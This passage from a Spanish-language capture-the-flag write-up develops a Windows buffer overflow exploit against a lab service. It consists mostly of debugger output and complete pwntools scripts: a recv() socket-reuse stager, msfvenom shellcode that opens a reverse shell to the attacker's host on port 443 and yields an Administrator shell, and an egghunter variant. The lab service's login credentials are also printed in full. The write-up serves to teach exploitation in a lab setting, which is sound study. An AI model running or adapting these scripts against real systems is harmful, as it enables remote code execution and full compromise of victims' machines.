719023b3 ffe0 jmp eax {00f8fed6}
0:000> p
eax=00f8fed6 ebx=0000013c ecx=00d83b70 edx=000a7190 esi=71901a3d edi=71901a3d
eip=00f8fed6 esp=00f8ff1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00f8fed6 8b742448 mov esi,dword ptr [esp+48h] ss:002b:00f8ff64=0000013c
0:000> p
eax=00f8fed6 ebx=0000013c ecx=00d83b70 edx=000a7190 esi=0000013c edi=71901a3d
eip=00f8feda esp=00f8ff1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00f8feda 41 inc ecx
0:000> r esi
esi=0000013c
Antes de seguir tenemos que solucionar un problema y es que si seguimos enviando instrucciones terminaremos por solaparnos con esp
, para solucionarlo podemos restarle 0x64
al stack para que asi este arriba de eip
y no entre en conflicto
recv += asm("sub esp, 0x64")
Ya almacenado el descriptor empezaremos a enviar los argumentos en orden inverso, el primero son las flags
que lo dejaremos en 0
, sin embargo para evitar null
bytes ya que pueden dar problemas ejecutaremos xor ebx, ebx
ya que al ejecutar el xor consigo mismo el resultado será 0
, ahora podemos empujar el valor de ebx
recv += asm("xor ebx, ebx")
recv += asm("push ebx")
El siguiente argumento es la longitud a recibir, anteriormente cuando vimos la llamada estaba establecido en 0x400
sin embargo esto puede ocasionar null bytes, asi que como ebx
vale 0
podemos mover 0x04
a bh
que es el registro mas alto del subregistro bx
, y como bl
aun vale 0x00
el registro ebx
almacena 0x400
recv += asm("mov bh, 0x4")
recv += asm("push ebx")
Para el siguiente argumento necesitaremos visualizar la memoria en el debugger, asi que enviamos el exploit y avanzamos hasta el final de las instrucciones
0:000> bp 0x719023b3
0:000> g
Breakpoint 0 hit
eax=00f9fed6 ebx=00000138 ecx=007d3b70 edx=000a7190 esi=71901a3d edi=71901a3d
eip=719023b3 esp=00f9ff1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MyFirstApp+0x23b3:
719023b3 ffe0 jmp eax {00f9fed6}
0:000> u eax
00f9fed6 8b742448 mov esi,dword ptr [esp+48h]
00f9feda 83ec64 sub esp,64h
00f9fedd 31db xor ebx,ebx
00f9fedf 53 push ebx
00f9fee0 b704 mov bh,4
00f9fee2 53 push ebx
00f9fee3 41 inc ecx
00f9fee4 41 inc ecx
0:000> g 0x00f9fee3
eax=00f9fed6 ebx=00000400 ecx=007d3b70 edx=000a7190 esi=00000138 edi=71901a3d
eip=00f9fee3 esp=00f9feb0 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00f9fee3 41 inc ecx
Nuestra idea será que el nuevo buffer se escriba en un punto intermedio de las A's
para que sigan ejecutando las instrucciones hasta que en un momento llegue al shellcode, esp + 0x64
es un buen lugar, casi al final de todas las A's
0:000> db esp
00f9feb0 00 04 00 00 00 00 00 00-65 21 90 71 d6 fe f9 00 ........e!.q....
00f9fec0 28 3b 7d 00 fe ff ff ff-14 ff f9 00 e5 5f 6e 76 (;}.........._nv
00f9fed0 38 01 00 00 00 ff 8b 74-24 48 83 ec 64 31 db 53 8......t$H..d1.S
00f9fee0 b7 04 53 41 41 41 41 41-41 41 41 41 41 41 41 41 ..SAAAAAAAAAAAAA
00f9fef0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00f9ff00 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00f9ff10 41 41 41 41 41 41 41 41-b3 23 90 71 0a 00 7d 00 AAAAAAAA.#.q..}.
00f9ff20 90 3b 7d 00 50 00 00 00-00 00 00 00 00 00 00 00 .;}.P...........
0:000> db esp + 0x64
00f9ff14 41 41 41 41 b3 23 90 71-0a 00 7d 00 90 3b 7d 00 AAAA.#.q..}..;}.
00f9ff24 50 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 P...............
00f9ff34 00 4b 33 72 34 6a 40 40-6e 4d 34 6a 40 70 41 68 .K3r4j@@nM4j@pAh
00f9ff44 21 54 61 6c 66 69 61 6e-73 79 61 68 12 00 00 00 !Talfiansyah....
00f9ff54 90 3b 7d 00 28 3b 7d 00-01 00 00 00 1d 00 00 00 .;}.(;}.........
00f9ff64 38 01 00 00 e0 36 7d 00-00 00 00 00 00 00 00 00 8....6}.........
00f9ff74 84 ff f9 00 a9 7b 8a 77-38 01 00 00 90 7b 8a 77 .....{.w8....{.w
00f9ff84 dc ff f9 00 0b c1 a1 77-38 01 00 00 70 f0 9c 18 .......w8...p...
Para almacenar la dirección esp + 0x64
donde se escribira el buffer podemos usar lea
y una vez guardado en el registro ebx
empujamos el puntero al buffer al stack
recv += asm("lea ebx, [esp + 0x64]")
recv += asm("push ebx")
Solo nos queda el ultimo valor que es el descriptor
de socket, como ya lo habiamos almacenado en esi
solo nos queda ejecutar push
para empujarlo al stack
Finalmente solo nos queda llamar al desreferenciado de la IAT
de la función recv()
recv += asm("call [0x719082ac]")
Nuestro stager final se ve de esta forma, y ya que solo pesa 25
bytes entra sin ningun problema en los 66
bytes disponibles que tenemos de espacio con la limitación
recv = b""
recv += asm("mov esi, [esp + 0x48]")
recv += asm("sub esp, 0x64")
recv += asm("xor ebx, ebx")
recv += asm("push ebx")
recv += asm("mov bh, 0x4")
recv += asm("push ebx")
recv += asm("lea ebx, [esp + 0x64]")
recv += asm("push ebx")
recv += asm("push esi")
recv += asm("call [0x719082ac]")
Despues de almacenar los 4 argumentos en el esp
tenemos el orden que necesitamos para la llamada a recv()
que recibirá el shellcode, lo escribirá en un punto intermedio de las A's
y al retornar y seguir ejecutando llegará a este
0:000> bp 0x719023b3
0:000> g
Breakpoint 0 hit
eax=0105fed6 ebx=0000013c ecx=00783b70 edx=000a7190 esi=71901a3d edi=71901a3d
eip=719023b3 esp=0105ff1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MyFirstApp+0x23b3:
719023b3 ffe0 jmp eax {0105fed6}
0:000> pc
eax=766e5f50 ebx=0105ff14 ecx=00783b70 edx=000a7190 esi=0000013c edi=71901a3d
eip=0105feef esp=0105fea8 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
0105feef ffd0 call eax {WS2_32!recv (766e5f50)}
0:000> dds esp L4
0105fea8 0000013c
0105feac 0105ff14
0105feb0 00000400
0105feb4 00000000
Para evitar tener que abrir un listener en una shell simplemente con msfvenom
crearemos un shellcode
que ejecute calc.exe
para comprobar que funcione
❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1237 bytes
shellcode = b""
shellcode += b"\xbf\x1c\x81\x88\x34\xda\xd6\xd9\x74\x24\xf4"
shellcode += b"\x5d\x29\xc9\xb1\x31\x31\x7d\x13\x83\xed\xfc"
shellcode += b"\x03\x7d\x13\x63\x7d\xc8\xc3\xe1\x7e\x31\x13"
shellcode += b"\x86\xf7\xd4\x22\x86\x6c\x9c\x14\x36\xe6\xf0"
shellcode += b"\x98\xbd\xaa\xe0\x2b\xb3\x62\x06\x9c\x7e\x55"
shellcode += b"\x29\x1d\xd2\xa5\x28\x9d\x29\xfa\x8a\x9c\xe1"
shellcode += b"\x0f\xca\xd9\x1c\xfd\x9e\xb2\x6b\x50\x0f\xb7"
shellcode += b"\x26\x69\xa4\x8b\xa7\xe9\x59\x5b\xc9\xd8\xcf"
shellcode += b"\xd0\x90\xfa\xee\x35\xa9\xb2\xe8\x5a\x94\x0d"
shellcode += b"\x82\xa8\x62\x8c\x42\xe1\x8b\x23\xab\xce\x79"
shellcode += b"\x3d\xeb\xe8\x61\x48\x05\x0b\x1f\x4b\xd2\x76"
shellcode += b"\xfb\xde\xc1\xd0\x88\x79\x2e\xe1\x5d\x1f\xa5"
shellcode += b"\xed\x2a\x6b\xe1\xf1\xad\xb8\x99\x0d\x25\x3f"
shellcode += b"\x4e\x84\x7d\x64\x4a\xcd\x26\x05\xcb\xab\x89"
shellcode += b"\x3a\x0b\x14\x75\x9f\x47\xb8\x62\x92\x05\xd6"
shellcode += b"\x75\x20\x30\x94\x76\x3a\x3b\x88\x1e\x0b\xb0"
shellcode += b"\x47\x58\x94\x13\x2c\x96\xde\x3e\x04\x3f\x87"
shellcode += b"\xaa\x15\x22\x38\x01\x59\x5b\xbb\xa0\x21\x98"
shellcode += b"\xa3\xc0\x24\xe4\x63\x38\x54\x75\x06\x3e\xcb"
shellcode += b"\x76\x03\x5d\x8a\xe4\xcf\x8c\x29\x8d\x6a\xd1"
Cambiaremos las A's
por 0x90
para que ejecute nop
y no inc ecx
, el exploit ejecutará nuestro stager que escribirá el buffer en un punto intermedio de los nops, luego retornará y seguirá la ejecución, al terminar los nops ejecutará el shellcode
#!/usr/bin/python3
from pwn import remote, log, sys, p32, asm, sleep
if len(sys.argv) < 2:
log.failure(f"Usage: python3 {sys.argv[0]} <port>")
sys.exit(1)
recv = b""
recv += asm("mov esi, [esp + 0x48]")
recv += asm("sub esp, 0x64")
recv += asm("xor ebx, ebx")
recv += asm("push ebx")
recv += asm("mov bh, 0x4")
recv += asm("push ebx")
recv += asm("lea ebx, [esp + 0x64]")
recv += asm("push ebx")
recv += asm("push esi")
recv += asm("call [0x719082ac]")
offset = 66
junk = asm("nop") * (offset - len(recv))
jmpeax = p32(0x719023b3)
payload = recv + junk + jmpeax
shellcode = b""
shellcode += b"\xbf\x1c\x81\x88\x34\xda\xd6\xd9\x74\x24\xf4"
shellcode += b"\x5d\x29\xc9\xb1\x31\x31\x7d\x13\x83\xed\xfc"
shellcode += b"\x03\x7d\x13\x63\x7d\xc8\xc3\xe1\x7e\x31\x13"
shellcode += b"\x86\xf7\xd4\x22\x86\x6c\x9c\x14\x36\xe6\xf0"
shellcode += b"\x98\xbd\xaa\xe0\x2b\xb3\x62\x06\x9c\x7e\x55"
shellcode += b"\x29\x1d\xd2\xa5\x28\x9d\x29\xfa\x8a\x9c\xe1"
shellcode += b"\x0f\xca\xd9\x1c\xfd\x9e\xb2\x6b\x50\x0f\xb7"
shellcode += b"\x26\x69\xa4\x8b\xa7\xe9\x59\x5b\xc9\xd8\xcf"
shellcode += b"\xd0\x90\xfa\xee\x35\xa9\xb2\xe8\x5a\x94\x0d"
shellcode += b"\x82\xa8\x62\x8c\x42\xe1\x8b\x23\xab\xce\x79"
shellcode += b"\x3d\xeb\xe8\x61\x48\x05\x0b\x1f\x4b\xd2\x76"
shellcode += b"\xfb\xde\xc1\xd0\x88\x79\x2e\xe1\x5d\x1f\xa5"
shellcode += b"\xed\x2a\x6b\xe1\xf1\xad\xb8\x99\x0d\x25\x3f"
shellcode += b"\x4e\x84\x7d\x64\x4a\xcd\x26\x05\xcb\xab\x89"
shellcode += b"\x3a\x0b\x14\x75\x9f\x47\xb8\x62\x92\x05\xd6"
shellcode += b"\x75\x20\x30\x94\x76\x3a\x3b\x88\x1e\x0b\xb0"
shellcode += b"\x47\x58\x94\x13\x2c\x96\xde\x3e\x04\x3f\x87"
shellcode += b"\xaa\x15\x22\x38\x01\x59\x5b\xbb\xa0\x21\x98"
shellcode += b"\xa3\xc0\x24\xe4\x63\x38\x54\x75\x06\x3e\xcb"
shellcode += b"\x76\x03\x5d\x8a\xe4\xcf\x8c\x29\x8d\x6a\xd1"
shell = remote("192.168.100.5", sys.argv[1])
shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)
sleep(1)
shell.sendline(shellcode)
Al ejecutar el call
llamara a la función recv()
que tomará como argumentos los valores que dejamos en el stack para cuando enviemos el shellcode
lo guarde en un punto de nuestros nops
, al finalizar ejecuta el shellcode y abre la calculadora
Lo que nos queda es crear un shellcode con msfvenom
que en caso de ejecutarse nos envie una reverse shell
en windows a nuestro host por el puerto 443
❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 EXITFUNC=thread -b '\x00' -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode = b""
shellcode += b"\xb8\x7d\xe5\x1d\x63\xdb\xcf\xd9\x74\x24\xf4"
shellcode += b"\x5e\x29\xc9\xb1\x52\x31\x46\x12\x03\x46\x12"
shellcode += b"\x83\x93\x19\xff\x96\x97\x0a\x82\x59\x67\xcb"
shellcode += b"\xe3\xd0\x82\xfa\x23\x86\xc7\xad\x93\xcc\x85"
shellcode += b"\x41\x5f\x80\x3d\xd1\x2d\x0d\x32\x52\x9b\x6b"
shellcode += b"\x7d\x63\xb0\x48\x1c\xe7\xcb\x9c\xfe\xd6\x03"
shellcode += b"\xd1\xff\x1f\x79\x18\xad\xc8\xf5\x8f\x41\x7c"
shellcode += b"\x43\x0c\xea\xce\x45\x14\x0f\x86\x64\x35\x9e"
shellcode += b"\x9c\x3e\x95\x21\x70\x4b\x9c\x39\x95\x76\x56"
shellcode += b"\xb2\x6d\x0c\x69\x12\xbc\xed\xc6\x5b\x70\x1c"
shellcode += b"\x16\x9c\xb7\xff\x6d\xd4\xcb\x82\x75\x23\xb1"
shellcode += b"\x58\xf3\xb7\x11\x2a\xa3\x13\xa3\xff\x32\xd0"
shellcode += b"\xaf\xb4\x31\xbe\xb3\x4b\x95\xb5\xc8\xc0\x18"
shellcode += b"\x19\x59\x92\x3e\xbd\x01\x40\x5e\xe4\xef\x27"
shellcode += b"\x5f\xf6\x4f\x97\xc5\x7d\x7d\xcc\x77\xdc\xea"
shellcode += b"\x21\xba\xde\xea\x2d\xcd\xad\xd8\xf2\x65\x39"
shellcode += b"\x51\x7a\xa0\xbe\x96\x51\x14\x50\x69\x5a\x65"
shellcode += b"\x79\xae\x0e\x35\x11\x07\x2f\xde\xe1\xa8\xfa"
shellcode += b"\x71\xb1\x06\x55\x32\x61\xe7\x05\xda\x6b\xe8"
shellcode += b"\x7a\xfa\x94\x22\x13\x91\x6f\xa5\x16\x6c\x61"
shellcode += b"\x39\x4f\x72\x7d\x40\x34\xfb\x9b\x28\x5a\xaa"
shellcode += b"\x34\xc5\xc3\xf7\xce\x74\x0b\x22\xab\xb7\x87"
shellcode += b"\xc1\x4c\x79\x60\xaf\x5e\xee\x80\xfa\x3c\xb9"
shellcode += b"\x9f\xd0\x28\x25\x0d\xbf\xa8\x20\x2e\x68\xff"
shellcode += b"\x65\x80\x61\x95\x9b\xbb\xdb\x8b\x61\x5d\x23"
shellcode += b"\x0f\xbe\x9e\xaa\x8e\x33\x9a\x88\x80\x8d\x23"
shellcode += b"\x95\xf4\x41\x72\x43\xa2\x27\x2c\x25\x1c\xfe"
shellcode += b"\x83\xef\xc8\x87\xef\x2f\x8e\x87\x25\xc6\x6e"
shellcode += b"\x39\x90\x9f\x91\xf6\x74\x28\xea\xea\xe4\xd7"
shellcode += b"\x21\xaf\x05\x3a\xe3\xda\xad\xe3\x66\x67\xb0"
shellcode += b"\x13\x5d\xa4\xcd\x97\x57\x55\x2a\x87\x12\x50"
shellcode += b"\x76\x0f\xcf\x28\xe7\xfa\xef\x9f\x08\x2f"
Nuestro exploit final constara de 2
etapas, la primera desborda el buffer y abre un socket con recv()
, pasado un segundo enviamos el shellcode
y se interpretara
#!/usr/bin/python3
from pwn import remote, p32, asm, sleep
recv = b""
recv += asm("mov esi, [esp + 0x48]")
recv += asm("sub esp, 0x64")
recv += asm("xor ebx, ebx")
recv += asm("push ebx")
recv += asm("mov bh, 0x4")
recv += asm("push ebx")
recv += asm("lea ebx, [esp + 0x64]")
recv += asm("push ebx")
recv += asm("push esi")
recv += asm("call [0x719082ac]")
offset = 66
junk = asm("nop") * (offset - len(recv))
jmpeax = p32(0x719023b3)
shellcode = b""
shellcode += b"\xb8\x7d\xe5\x1d\x63\xdb\xcf\xd9\x74\x24\xf4"
shellcode += b"\x5e\x29\xc9\xb1\x52\x31\x46\x12\x03\x46\x12"
shellcode += b"\x83\x93\x19\xff\x96\x97\x0a\x82\x59\x67\xcb"
shellcode += b"\xe3\xd0\x82\xfa\x23\x86\xc7\xad\x93\xcc\x85"
shellcode += b"\x41\x5f\x80\x3d\xd1\x2d\x0d\x32\x52\x9b\x6b"
shellcode += b"\x7d\x63\xb0\x48\x1c\xe7\xcb\x9c\xfe\xd6\x03"
shellcode += b"\xd1\xff\x1f\x79\x18\xad\xc8\xf5\x8f\x41\x7c"
shellcode += b"\x43\x0c\xea\xce\x45\x14\x0f\x86\x64\x35\x9e"
shellcode += b"\x9c\x3e\x95\x21\x70\x4b\x9c\x39\x95\x76\x56"
shellcode += b"\xb2\x6d\x0c\x69\x12\xbc\xed\xc6\x5b\x70\x1c"
shellcode += b"\x16\x9c\xb7\xff\x6d\xd4\xcb\x82\x75\x23\xb1"
shellcode += b"\x58\xf3\xb7\x11\x2a\xa3\x13\xa3\xff\x32\xd0"
shellcode += b"\xaf\xb4\x31\xbe\xb3\x4b\x95\xb5\xc8\xc0\x18"
shellcode += b"\x19\x59\x92\x3e\xbd\x01\x40\x5e\xe4\xef\x27"
shellcode += b"\x5f\xf6\x4f\x97\xc5\x7d\x7d\xcc\x77\xdc\xea"
shellcode += b"\x21\xba\xde\xea\x2d\xcd\xad\xd8\xf2\x65\x39"
shellcode += b"\x51\x7a\xa0\xbe\x96\x51\x14\x50\x69\x5a\x65"
shellcode += b"\x79\xae\x0e\x35\x11\x07\x2f\xde\xe1\xa8\xfa"
shellcode += b"\x71\xb1\x06\x55\x32\x61\xe7\x05\xda\x6b\xe8"
shellcode += b"\x7a\xfa\x94\x22\x13\x91\x6f\xa5\x16\x6c\x61"
shellcode += b"\x39\x4f\x72\x7d\x40\x34\xfb\x9b\x28\x5a\xaa"
shellcode += b"\x34\xc5\xc3\xf7\xce\x74\x0b\x22\xab\xb7\x87"
shellcode += b"\xc1\x4c\x79\x60\xaf\x5e\xee\x80\xfa\x3c\xb9"
shellcode += b"\x9f\xd0\x28\x25\x0d\xbf\xa8\x20\x2e\x68\xff"
shellcode += b"\x65\x80\x61\x95\x9b\xbb\xdb\x8b\x61\x5d\x23"
shellcode += b"\x0f\xbe\x9e\xaa\x8e\x33\x9a\x88\x80\x8d\x23"
shellcode += b"\x95\xf4\x41\x72\x43\xa2\x27\x2c\x25\x1c\xfe"
shellcode += b"\x83\xef\xc8\x87\xef\x2f\x8e\x87\x25\xc6\x6e"
shellcode += b"\x39\x90\x9f\x91\xf6\x74\x28\xea\xea\xe4\xd7"
shellcode += b"\x21\xaf\x05\x3a\xe3\xda\xad\xe3\x66\x67\xb0"
shellcode += b"\x13\x5d\xa4\xcd\x97\x57\x55\x2a\x87\x12\x50"
shellcode += b"\x76\x0f\xcf\x28\xe7\xfa\xef\x9f\x08\x2f"
payload = recv + junk + jmpeax
shell = remote("10.10.11.115", 9999)
shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)
sleep(1)
shell.sendline(shellcode)
Enviamos el exploit a la maquina que corre el servicio en el puerto 9999
y recibimos una shell como Administrator
donde podemos leer la ultima flag de root
❯ python3 exploit.py
[+] Opening connection to 10.10.11.115 on port 9999: Done
[*] Closed connection to 10.10.11.115 port 9999
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.115
Microsoft Windows [Version 10.0.19043.1266]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
hancliffe\administrator
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
7cc**************************564
C:\Windows\system32>
Buffer Overflow - egghunter
Volvemos al inicio del problema, la limitación de espacio, la pregunta que realmente debemos hacernos es si se guarda en algun otro lugar que no sea el stack, para ello enviaremos w00tw00t
como marca para poder buscar el payload en la memoria
#!/usr/bin/python3
from pwn import remote, log, sys
if len(sys.argv) < 2:
log.failure(f"Usage: python3 {sys.argv[0]} <port>")
sys.exit(1)
payload = b""
payload += b"A" * 66
payload += b"B" * 4
payload += b"w00t" * 2
payload += b"C" * 100
shell = remote("192.168.100.5", sys.argv[1])
shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)
Una vez que el programa corrompe sabemos que solo se escriben 10
bytes en el stack pero si buscamos la cadena w00tw00t
en la memoria podemos encontrar una dirección que parece contener todas las C's
, sin embargo también hay otras 2 direcciones que solo contienen 2
de las C's
indicando el espacio de 10
bytes
0:000> g
(1c50.21b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00fcfed6 ebx=0000013c ecx=006e3b84 edx=00000000 esi=71901a3d edi=71901a3d
eip=42424242 esp=00fcff1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
42424242 ?? ???
0:000> db esp
00fcff1c 77 30 30 74 77 30 30 74-43 43 ab ab ab ab ab ab w00tw00tCC......
00fcff2c ab ab 00 00 00 00 00 00-00 4b 33 72 34 6a 40 40 .........K3r4j@@
00fcff3c 6e 4d 34 6a 40 70 41 68-21 54 61 6c 66 69 61 6e nM4j@pAh!Talfian
00fcff4c 73 79 61 68 12 00 00 00-90 3b 6e 00 28 3b 6e 00 syah.....;n.(;n.
00fcff5c 01 00 00 00 1d 00 00 00-3c 01 00 00 e0 36 6e 00 ........<....6n.
00fcff6c 00 00 00 00 00 00 00 00-84 ff fc 00 a9 7b 8a 77 .............{.w
00fcff7c 3c 01 00 00 90 7b 8a 77-dc ff fc 00 0b c1 a1 77 <....{.w.......w
00fcff8c 3c 01 00 00 f6 d5 2d ab-00 00 00 00 00 00 00 00 <.....-.........
0:000> s -a 0 L?80000000 w00tw00t
006e3726 77 30 30 74 77 30 30 74-43 43 43 43 43 43 43 43 w00tw00tCCCCCCCC
006e3b6e 77 30 30 74 77 30 30 74-43 43 ab ab ab ab ab ab w00tw00tCC......
00fcff1c 77 30 30 74 77 30 30 74-43 43 ab ab ab ab ab ab w00tw00tCC......
Para evitar falsos positivos enviaremos 4
bytes extra antes, de esta forma en el stack se almacenan 4 C's
y solo tiene 6 bytes de espacio restante que solo alcanzan para la cadena w00tw0
por lo que no coincidirá con la busqueda de la cadena completa
payload = b""
payload += b"A" * 66
payload += b"B" * 4
payload += b"C" * 4
payload += b"w00t" * 2
payload += b"D" * 100
Ahora al ejecutar el exploit el programa corrompe y buscando la cadena w00tw00t
solo encontramos una coincidencia a diferencia de las 3 que habia antes
0:000> g
(2a34.2fa4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0117fed6 ebx=00000144 ecx=00d73b84 edx=00000000 esi=71901a3d edi=71901a3d
eip=42424242 esp=0117ff1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
42424242 ?? ???
0:000> db esp
0117ff1c 43 43 43 43 77 30 30 74-77 30 ab ab ab ab ab ab CCCCw00tw0......
0117ff2c ab ab 00 00 00 00 00 00-00 4b 33 72 34 6a 40 40 .........K3r4j@@
0117ff3c 6e 4d 34 6a 40 70 41 68-21 54 61 6c 66 69 61 6e nM4j@pAh!Talfian
0117ff4c 73 79 61 68 12 00 00 00-90 3b d7 00 28 3b d7 00 syah.....;..(;..
0117ff5c 01 00 00 00 1d 00 00 00-44 01 00 00 e0 36 d7 00 ........D....6..
0117ff6c 00 00 00 00 00 00 00 00-84 ff 17 01 a9 7b 8a 77 .............{.w
0117ff7c 44 01 00 00 90 7b 8a 77-dc ff 17 01 0b c1 a1 77 D....{.w.......w
0117ff8c 44 01 00 00 03 f3 c2 29-00 00 00 00 00 00 00 00 D......)........
0:000> s -a 0 L?80000000 w00tw00t
00d7372a 77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44 w00tw00tDDDDDDDD
Esta dirección contiene todos los datos que enviamos, las 100 D's
se almacenan en la memoria, especificamente parece que en una región del segmento heap
0:000> db 0x00d7372a
00d7372a 77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44 w00tw00tDDDDDDDD
00d7373a 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00d7374a 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00d7375a 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00d7376a 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00d7377a 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00d7378a 44 44 44 44 44 44 44 44-44 44 44 44 0a 00 00 00 DDDDDDDDDDDD....
00d7379a 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:000> !address 0x00d7372a
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: Heap
Base Address: 00d70000
End Address: 00d75000
Region Size: 00005000 ( 20.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 00d70000
Allocation Protect: 00000004 PAGE_READWRITE
More info: heap owning the address: !heap -s -h 0xd70000
More info: heap segment
More info: heap entry containing the address: !heap -x 0xd7372a
Content source: 1 (target), length: 18d6
Nuevamente para evitar problemas o solaparnos con el stack en el poco espacio que nos queda haremos que este un poco mas arriba restandole 0x64
bytes
subesp = asm("sub esp, 0x64")
Ahora con mona creamos el egghunter
, algo a tener en cuenta es que aunque el binario es x86
la maquina victima es x64
asi que tenemos que incluir un -wow64
0:000> !py mona egghunter -wow64
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py egghunter -wow64
[+] Egg set to w00t
[+] Generating egghunter for wow64, Windows 10
[+] Preparing output file 'egghunter.txt'
- (Re)setting logfile C:\mona\egghunter.txt
[+] Egghunter (51 bytes):
"\x42\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53\x53"
"\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08\x3c\x05"
"\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75\xd7\xff\xe7"
El egghunter
lo que hara sera buscar en toda la memoria la cadena w00tw00t
y ejecutar todo lo que esta despues que en este caso sera nuestro shellcode
, el funcionamiento de este egghunter ya fue analizado en otro post sobre explotación
egghunter = b""
egghunter += b"\x42\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53\x53"
egghunter += b"\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08\x3c\x05"
egghunter += b"\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75\xd7\xff\xe7"
Para el payload final enviaremos el egghunter
, la basura y saltaremos a eax
donde esta el egghunter, dejamos 4
bytes de espacio y despues enviamos el egg
seguido del shellcode
para que este se guarde en algun lugar de toda la memoria
payload = b""
payload += subesp + egghunter + junk + jmpeax
payload += b"A" * 4
payload += egg + shellcode
Para verificar que funciona usaremos el shellcode para una calculadora antes creado y ejecutamos el exploit, como resultado abrimos una calculadora en el equipo
#!/usr/bin/python3
from pwn import remote, log, sys, p32, asm
if len(sys.argv) < 2:
log.failure(f"Usage: python3 {sys.argv[0]} <port>")
sys.exit(1)
subesp = asm("sub esp, 0x64")
egghunter = b""
egghunter += b"\x42\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53\x53"
egghunter += b"\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08\x3c\x05"
egghunter += b"\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75\xd7\xff\xe7"
offset = 66
junk = b"A" * (offset - len(egghunter + subesp))
jmpeax = p32(0x719023b3)
egg = b"w00t" * 2
shellcode = b""
shellcode += b"\xbf\x1c\x81\x88\x34\xda\xd6\xd9\x74\x24\xf4"
shellcode += b"\x5d\x29\xc9\xb1\x31\x31\x7d\x13\x83\xed\xfc"
shellcode += b"\x03\x7d\x13\x63\x7d\xc8\xc3\xe1\x7e\x31\x13"
